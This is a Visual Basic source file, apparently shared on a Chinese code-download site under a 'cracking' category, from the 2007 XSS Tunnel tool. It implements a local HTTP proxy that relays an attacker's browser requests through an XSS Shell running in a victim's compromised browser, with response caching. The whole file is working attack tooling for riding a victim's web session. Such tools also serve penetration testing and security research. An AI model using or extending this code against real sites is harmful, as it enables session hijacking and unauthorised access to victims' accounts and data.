Proxy.vb
上传用户:wangting
上传日期:2020-01-24
资源大小:2226k
文件大小:18k
源码类别:

破解

开发平台:

ASP/ASPX

  1. #Region "GPL License"
  2. 'This file is part of XSS Tunnel.
  3. '
  4. 'XSS Tunnel, XSS Tunneling tool 
  5. 'Copyright (C) 2007 Ferruh Mavituna
  6. 'This program is free software; you can redistribute it and/or
  7. 'modify it under the terms of the GNU General Public License
  8. 'as published by the Free Software Foundation; either version 2
  9. 'of the License, or (at your option) any later version.
  10. 'This program is distributed in the hope that it will be useful,
  11. 'but WITHOUT ANY WARRANTY; without even the implied warranty of
  12. 'MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  13. 'GNU General Public License for more details.
  14. 'You should have received a copy of the GNU General Public License
  15. 'along with this program; if not, write to the Free Software
  16. 'Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
  17. #End Region
  18. Imports System.Net.Sockets
  19. Imports System.Net
  20. Imports System.IO
  21. ''' <summary>
  22. ''' Proxy Implementation for XSS Tunnel
  23. ''' </summary>
  24. ''' <remarks>
  25. ''' Get requests from client tunnel them to supplied XSSShell and reply browser
  26. ''' Doesn't support KeepAlive Proxy Connections 
  27. '''
  28. ''' 21.06.2007
  29. ''' - Now Cache folder in temp folder to avoid potential permission problems
  30. ''' - Clear Cache added
  31. ''' - Stupid bind bug fixed caused by a mispelled variable name!
  32. ''' </remarks>
  33. Public Class Proxy
  34. #Region "Events"
  35.     ''' <summary>
  36.     ''' Resource Requested
  37.     ''' </summary>
  38.     ''' <param name="path"></param>
  39.     ''' <remarks></remarks>
  40.     Public Event Requested(ByVal path As String)
  41.     ''' <summary>
  42.     ''' Response Received from XSS Shell (victim's client)
  43.     ''' </summary>
  44.     ''' <param name="response"></param>
  45.     ''' <remarks></remarks>
  46.     Public Event ResponseReceived(ByVal response As ReadableResponse)
  47.     ''' <summary>
  48.     ''' Debug message sent
  49.     ''' </summary>
  50.     ''' <param name="message"></param>
  51.     ''' <param name="sender"></param>
  52.     ''' <remarks></remarks>
  53.     Public Event DebugMessageSent(ByVal message As String, ByVal sender As Object)
  54. #End Region
  55. #Region "Constants"
  56.     ''' <summary>
  57.     ''' Default Read Buffer Size
  58.     ''' </summary>
  59.     ''' <remarks></remarks>
  60.     Public Const DefaultBufferSize As Integer = 4096
  61.     ''' <summary>
  62.     ''' Default Buffer Increase Multiplier
  63.     ''' </summary>
  64.     ''' <remarks></remarks>
  65.     Public Const DefaultIncreaseMultiplier As Integer = 3
  66.     ''' <summary>
  67.     ''' Is Keep Alive supported by client (normally should be extracted from HTTP Headers)
  68.     ''' </summary>
  69.     ''' <remarks></remarks>
  70.     Public Const KeepAlive As Boolean = False
  71.     ''' <summary>
  72.     ''' Keep Alive Supported by Proxy
  73.     ''' </summary>
  74.     ''' <remarks></remarks>
  75.     Public Const KeepAliveSupported As Boolean = False
  76. #End Region
  77. #Region "Constructor"
  78.     ''' <summary>
  79.     ''' New Proxy
  80.     ''' </summary>
  81.     ''' <param name="XSSShell"></param>
  82.     ''' <remarks></remarks>
  83.     Public Sub New(ByVal XSSShell As XSSShell)
  84.         Me.XSSSHell = XSSShell
  85.     End Sub
  86.     ''' <summary>
  87.     ''' New Proxy 
  88.     ''' </summary>
  89.     ''' <param name="XSSShell"></param>
  90.     ''' <param name="port"></param>
  91.     ''' <param name="IPAddress"></param>
  92.     ''' <remarks></remarks>
  93.     Public Sub New(ByVal XSSShell As XSSShell, ByVal port As Integer, ByVal IPAddress As IPAddress)
  94.         Me.XSSSHell = XSSShell
  95.         Me.Port = port
  96.         Me.IPAddress = IPAddress
  97.     End Sub
  98. #End Region
  99. #Region "Properties"
  100.     Private _Cached As Integer
  101.     ''' <summary>
  102.     ''' Cached Requests
  103.     ''' </summary>
  104.     ''' <value></value>
  105.     ''' <returns></returns>
  106.     ''' <remarks></remarks>
  107.     Public ReadOnly Property CachedRequests() As Integer
  108.         Get
  109.             Return _Cached
  110.         End Get
  111.     End Property
  112.     Private _Requests As Integer
  113.     ''' <summary>
  114.     ''' Requests 
  115.     ''' </summary>
  116.     ''' <value></value>
  117.     ''' <returns></returns>
  118.     ''' <remarks></remarks>
  119.     Public ReadOnly Property Requests() As Integer
  120.         Get
  121.             Return _Requests
  122.         End Get
  123.     End Property
  124.     Private _Responses As Integer
  125.     ''' <summary>
  126.     ''' Responses 
  127.     ''' </summary>
  128.     ''' <value></value>
  129.     ''' <returns></returns>
  130.     ''' <remarks></remarks>
  131.     Public ReadOnly Property Responses() As Integer
  132.         Get
  133.             Return _Responses
  134.         End Get
  135.     End Property
  136.     Public _Port As Integer
  137.     ''' <summary>
  138.     ''' Port to Bind
  139.     ''' </summary>
  140.     ''' <value></value>
  141.     ''' <returns></returns>
  142.     ''' <remarks>Default : 8080</remarks>
  143.     Private Property Port() As Integer
  144.         Get
  145.             If _Port = 0 Then _Port = 65000
  146.             Return _Port
  147.         End Get
  148.         Set(ByVal value As Integer)
  149.             'TODO : Restart server when change
  150.             _Port = value
  151.         End Set
  152.     End Property
  153.     Private _XSSShell As XSSShell
  154.     ''' <summary>
  155.     ''' Related XSS Shell to tunnel data
  156.     ''' </summary>
  157.     ''' <value></value>
  158.     ''' <returns></returns>
  159.     ''' <remarks></remarks>
  160.     Public Property XSSSHell() As XSSShell
  161.         Get
  162.             Return _XSSShell
  163.         End Get
  164.         Set(ByVal value As XSSShell)
  165.             _XSSShell = value
  166.         End Set
  167.     End Property
  168.     Dim _RequestListener As TcpListener
  169.     ''' <summary>
  170.     ''' Request Listener
  171.     ''' </summary>
  172.     ''' <value></value>
  173.     ''' <returns></returns>
  174.     ''' <remarks></remarks>
  175.     Private ReadOnly Property RequestListener() As TcpListener
  176.         Get
  177.             Try
  178.                 If _RequestListener Is Nothing Then _RequestListener = New TcpListener(Me.IPAddress, Port)
  179.             Catch ex As Exception
  180.                 WriteConsole("!Error proxy couldn't start to listen : " & ex.ToString)
  181.             End Try
  182.             'Dns.Resolve(Dns.GetHostName()).AddressList(0)
  183.             Return _RequestListener
  184.         End Get
  185.     End Property
  186.     Private _IPAddress As IPAddress
  187.     ''' <summary>
  188.     ''' IP Address to bind
  189.     ''' </summary>
  190.     ''' <value></value>
  191.     ''' <returns></returns>
  192.     ''' <remarks></remarks>
  193.     Private Property IPAddress() As IPAddress
  194.         Get
  195.             If _IPAddress Is Nothing Then IPAddress = IPAddress.Any
  196.             Return _IPAddress
  197.         End Get
  198.         Set(ByVal value As IPAddress)
  199.             _IPAddress = value
  200.         End Set
  201.     End Property
  202.     Private _ProxyMode As Boolean
  203.     ''' <summary>
  204.     ''' Act as a proper proxy, do not use XSSSHell 
  205.     ''' </summary>
  206.     ''' <value></value>
  207.     ''' <returns></returns>
  208.     ''' <remarks></remarks>
  209.     Public Property ProxyMode() As Boolean
  210.         Get
  211.             Return _ProxyMode
  212.         End Get
  213.         Set(ByVal value As Boolean)
  214.             _ProxyMode = value
  215.         End Set
  216.     End Property
  217.     Private _CacheEnabled As Boolean
  218.     ''' <summary>
  219.     ''' Enable caching
  220.     ''' </summary>
  221.     ''' <value></value>
  222.     ''' <returns></returns>
  223.     ''' <remarks></remarks>
  224.     Public Property CacheEnabled() As Boolean
  225.         Get
  226.             Return _CacheEnabled
  227.         End Get
  228.         Set(ByVal value As Boolean)
  229.             _CacheEnabled = value
  230.         End Set
  231.     End Property
  232. #End Region
  233. #Region "Core"
  234.     ''' <summary>
  235.     ''' Start Listen for incoming Connections
  236.     ''' </summary>
  237.     ''' <remarks></remarks>
  238.     Public Sub Listen()
  239.         Try
  240.             RequestListener.Start()
  241.         Catch ex As Exception
  242.             WriteConsole("!Proxy start error : " & ex.ToString)
  243.             Exit Sub
  244.         End Try
  245.         WriteConsole("Started to Listen : " & Me.IPAddress.ToString & ":" & Port)
  246.         While True
  247.             Try
  248.                 Dim Client As TcpClient = RequestListener.AcceptTcpClient()
  249.                 Dim ClientIP As IPEndPoint = CType(Client.Client.RemoteEndPoint, IPEndPoint)
  250.                 Console.WriteLine(ClientIP.Address.ToString() & ":" & ClientIP.Port.ToString() & " Connected...")
  251.                 Try
  252.                     Dim Thr As Threading.Thread
  253.                     'If ProxyMode Then
  254.                     '    Thr = New Threading.Thread(AddressOf ProcessRequest)
  255.                     'Else
  256.                     Thr = New Threading.Thread(AddressOf Me.ProcessTunnelledRequest)
  257.                     'End If
  258.                     Thr.Start(Client)
  259.                 Catch ex As Exception
  260.                     WriteConsole("Thread Failed : " & ex.ToString)
  261.                 End Try
  262.             Catch ex As Net.Sockets.SocketException
  263.                 WriteConsole("Stopped to listen!")
  264.                 Exit Sub
  265.             End Try
  266.         End While
  267.     End Sub
  268.     ''' <summary>
  269.     ''' Raise Debug/Console Messages
  270.     ''' </summary>
  271.     ''' <param name="message"></param>
  272.     ''' <remarks></remarks>
  273.     Private Sub WriteConsole(ByVal message As String)
  274.         Debug.WriteLine(message)
  275.         RaiseEvent DebugMessageSent(message, Me)
  276.     End Sub
  277.     ''' <summary>
  278.     ''' Stop Listening
  279.     ''' </summary>
  280.     ''' <remarks></remarks>
  281.     Public Sub [Stop]()
  282.         RequestListener.Stop()
  283.     End Sub
  284.     ''' <summary>
  285.     ''' Read Request from TCPClient, fill buffer
  286.     ''' </summary>
  287.     ''' <param name="client"></param>
  288.     ''' <param name="requestBuffer"></param>
  289.     ''' <returns>Read byte, -1 if it fails</returns>
  290.     ''' <remarks></remarks>
  291.     Private Function ReadRequest(ByVal client As TcpClient, ByRef requestBuffer As Byte()) As Integer
  292.         Dim ReadData As Integer
  293.         Dim RequestReadOffset As Integer
  294.         Try
  295.             Do
  296.                 'If there is no space in request buffer increase buffer (should be a huge one!)
  297.                 If requestBuffer.Length < RequestReadOffset + client.ReceiveBufferSize Then
  298.                     Array.Resize(Of Byte)(requestBuffer, requestBuffer.Length * DefaultIncreaseMultiplier)
  299.                     WriteConsole("Array Resized")
  300.                 End If
  301.                 ReadData = client.GetStream.Read(requestBuffer, RequestReadOffset, client.ReceiveBufferSize)
  302.                 RequestReadOffset += ReadData
  303.                 If ReadData < 1 Then Exit Do
  304.             Loop While Text.Encoding.ASCII.GetString(requestBuffer, 0, RequestReadOffset).IndexOf(vbNewLine & vbNewLine) = -1
  305.         Catch ex As Exception
  306.             WriteConsole("Client TCP closed etc. Error")
  307.             Return -1
  308.         End Try
  309.         Return RequestReadOffset
  310.     End Function
  311.     '''' <summary>
  312.     '''' Write buffer
  313.     '''' </summary>
  314.     '''' <param name="buffer"></param>
  315.     '''' <remarks></remarks>
  316.     'Private Shared Sub DebugBuffer(ByVal buffer() As Byte, ByVal title As String)
  317.     '    Debug.WriteLine("------" & title & "------")
  318.     '    Debug.WriteLine(System.Text.Encoding.ASCII.GetString(buffer).Trim())
  319.     '    Debug.WriteLine("------------")
  320.     'End Sub
  321.     Dim ErrorPage As String = "HTTP/1.1 200 OK" & vbNewLine & "Server: XSS Shell Proxy" & vbNewLine & "Content-Type: text/html" & vbNewLine & vbNewLine & "<html><head><title>Denied by XSS Shell Proxy</title></head><body><div style=""text-align:center"">This request is not supported by <em>XSS Shell Proxy</em></div></body></html>"
  322. #End Region
  323. #Region "XSS Tunnel"
  324.     ''' <summary>
  325.     ''' Get Cache Directory
  326.     ''' </summary>
  327.     ''' <returns></returns>
  328.     ''' <remarks></remarks>
  329.     Private Shared Function GetCacheDirectory() As String
  330.         'Dim CacheDir As String = IO.Path.Combine(My.Application.Info.DirectoryPath, "cache")
  331.         Dim CacheDir As String = IO.Path.Combine(IO.Path.GetTempPath(), "XSSTunnel-Cache")
  332.         If Not Directory.Exists(CacheDir) Then
  333.             Directory.CreateDirectory(CacheDir)
  334.         End If
  335.         Return CacheDir
  336.     End Function
  337.     ''' <summary>
  338.     ''' Clear files in the cache folder
  339.     ''' </summary>
  340.     ''' <remarks></remarks>
  341.     Public Shared Sub ClearCache()
  342.         Dim CacheFolder As String = GetCacheDirectory()
  343.         IO.Directory.Delete(CacheFolder, True)
  344.     End Sub
  345.     ''' <summary>
  346.     ''' Get file from local cache
  347.     ''' </summary>
  348.     ''' <param name="path"></param>
  349.     ''' <returns></returns>
  350.     ''' <remarks></remarks>
  351.     Private Function GetFromCache(ByVal path As String) As Byte()
  352.         If Not Me.CacheEnabled OrElse Not Cachable(path) Then Return Nothing
  353.         Dim SaveFileName As String = GetCacheFileName(path)
  354.         If File.Exists(SaveFileName) Then
  355.             Return File.ReadAllBytes(SaveFileName)
  356.         End If
  357.         Return Nothing
  358.     End Function
  359.     ''' <summary>
  360.     ''' Get path's cache file name
  361.     ''' </summary>
  362.     ''' <param name="path"></param>
  363.     ''' <returns></returns>
  364.     ''' <remarks></remarks>
  365.     Private Shared Function GetCacheFileName(ByVal path As String) As String
  366.         Dim CacheDir As String = GetCacheDirectory()
  367.         Dim SaveFileName As String = GetValidFileName(path)
  368.         Return IO.Path.Combine(CacheDir, SaveFileName)
  369.     End Function
  370.     ''' <summary>
  371.     ''' Is response / request cachable ?
  372.     ''' </summary>
  373.     ''' <param name="path"></param>
  374.     ''' <returns></returns>
  375.     ''' <remarks></remarks>
  376.     Private Function Cachable(ByVal path As String) As Boolean
  377.         Try
  378.             Select Case IO.Path.GetExtension(path)
  379.                 Case ".gif", ".jpg", ".js", ".css"
  380.                     Return True
  381.             End Select
  382.         Catch ex As Exception
  383.             WriteConsole("Unexpected path")
  384.         End Try
  385.         Return False
  386.     End Function
  387.     ''' <summary>
  388.     ''' Cache Response
  389.     ''' </summary>
  390.     ''' <param name="path"></param>
  391.     ''' <remarks></remarks>
  392.     Private Sub CacheResponse(ByVal path As String, ByVal content As Byte())
  393.         If Not Cachable(path) Then Exit Sub
  394.         Dim SaveFileName As String = GetCacheFileName(path)
  395.         Try
  396.             File.WriteAllBytes(SaveFileName, content)
  397.         Catch ex As Exception
  398.             WriteConsole("Cache write err!")
  399.         End Try
  400.     End Sub
  401.     ''' <summary>
  402.     ''' Get valid file name
  403.     ''' </summary>
  404.     ''' <param name="path"></param>
  405.     ''' <returns></returns>
  406.     ''' <remarks></remarks>
  407.     Private Shared Function GetValidFileName(ByVal path As String) As String
  408.         Dim FileName As String = path.Replace("/", "-").Replace("", "-")
  409.         For Each Chr As Char In IO.Path.GetInvalidPathChars
  410.             FileName = FileName.Replace(Chr, String.Empty)
  411.         Next
  412.         Return FileName
  413.     End Function
  414.     ''' <summary>
  415.     ''' Process Tunneled Request
  416.     ''' </summary>
  417.     ''' <param name="tcpClient"></param>
  418.     ''' <remarks></remarks>
  419.     Private Sub ProcessTunnelledRequest(ByVal tcpClient As Object)
  420.         Dim Browser As TcpClient = DirectCast(tcpClient, TcpClient)
  421.         Browser.ReceiveBufferSize = DefaultBufferSize
  422.         While True
  423.             Dim requestBuffer(Browser.ReceiveBufferSize * DefaultIncreaseMultiplier) As Byte
  424.             Dim ReadData As Integer
  425.             ReadData = ReadRequest(Browser, requestBuffer)
  426.             'Err
  427.             If ReadData = -1 Then
  428.                 Exit While
  429.             End If
  430.             'Console.WriteLine(Text.Encoding.ASCII.GetString(requestBuffer, 0, ReadData))
  431.             Dim HttpReq As New HttpParser(requestBuffer, ReadData)
  432.             'Check SSL Connections
  433.             If HttpReq.Method = HttpParser.HTTPMethod.CONNECT Then
  434.                 WriteConsole("SSL connections not supported !")
  435.                 Browser.GetStream.Close()
  436.                 Browser.Close()
  437.                 Exit Sub
  438.             End If
  439.             If HttpReq.Url Is Nothing Then
  440.                 WriteConsole("Target host couldn't identified")
  441.                 Exit Sub
  442.             End If
  443.             Dim PostData As String = Nothing
  444.             If HttpReq.Method = HttpParser.HTTPMethod.POST Then
  445.                 PostData = HttpReq.RequestBody
  446.             End If
  447.             'Send and Wait for Response
  448.             RaiseEvent Requested(HttpReq.Url.PathAndQuery)
  449.             Threading.Interlocked.Increment(_Requests)
  450.             '            Console.WriteLine("Requesting : " & HttpReq.Url.PathAndQuery)
  451.             Dim HTTPResponse As HttpResponse
  452.             Dim CachedResponse() As Byte = GetFromCache(HttpReq.Url.PathAndQuery)
  453.             If CachedResponse Is Nothing Then
  454.                 HTTPResponse = XSSSHell.SendGetUriCommand(HttpReq.Url.PathAndQuery, PostData)
  455.                 'Add it to cache
  456.                 If Not HTTPResponse Is Nothing Then CacheResponse(HttpReq.Url.PathAndQuery, HTTPResponse.Body)
  457.                 Threading.Interlocked.Increment(_Responses)
  458.             Else ' Get from cache
  459.                 HTTPResponse = New HttpResponse()
  460.                 HTTPResponse.Status = 200
  461.                 HTTPResponse.StatusText = "OK"
  462.                 HTTPResponse.Body = CachedResponse
  463.                 HTTPResponse.AddHeader("Via-Cache", "XSS Tunnel")
  464.                 'Console.WriteLine("Answer from Cache: " & HttpReq.Url.PathAndQuery)
  465.                 HTTPResponse.Cached = True
  466.                 Threading.Interlocked.Increment(_Cached)
  467.             End If
  468.             'If there is a response otherwise, don't response so client will timeout (better than finishing with 200 OK)
  469.             If Not HTTPResponse Is Nothing Then
  470.                 'Response
  471.                 RaiseEvent ResponseReceived(New ReadableResponse(HttpReq.Url.PathAndQuery, HTTPResponse.Status, HTTPResponse.Cached))
  472.                 Dim ResponseBuffer() As Byte = HTTPResponse.GetServerResponse
  473.                 'Write to client
  474.                 If Browser.Connected AndAlso Browser.GetStream.CanWrite Then
  475.                     Try
  476.                         Browser.GetStream.Write(ResponseBuffer, 0, ResponseBuffer.Length)
  477.                     Catch ex As IO.IOException
  478.                         WriteConsole("Write to browser, Error")
  479.                     End Try
  480.                 Else
  481.                     WriteConsole("Err & Cancelled!")
  482.                 End If
  483.             End If
  484.             If Not KeepAlive Then Exit While
  485.         End While
  486.         Try
  487.             If Browser.Connected Then
  488.                 Browser.GetStream.Close()
  489.                 Browser.Close()
  490.             End If
  491.         Catch ex As Exception
  492.             WriteConsole("Something stupid happened...")
  493.         End Try
  494.     End Sub
  495. #End Region
  496. End Class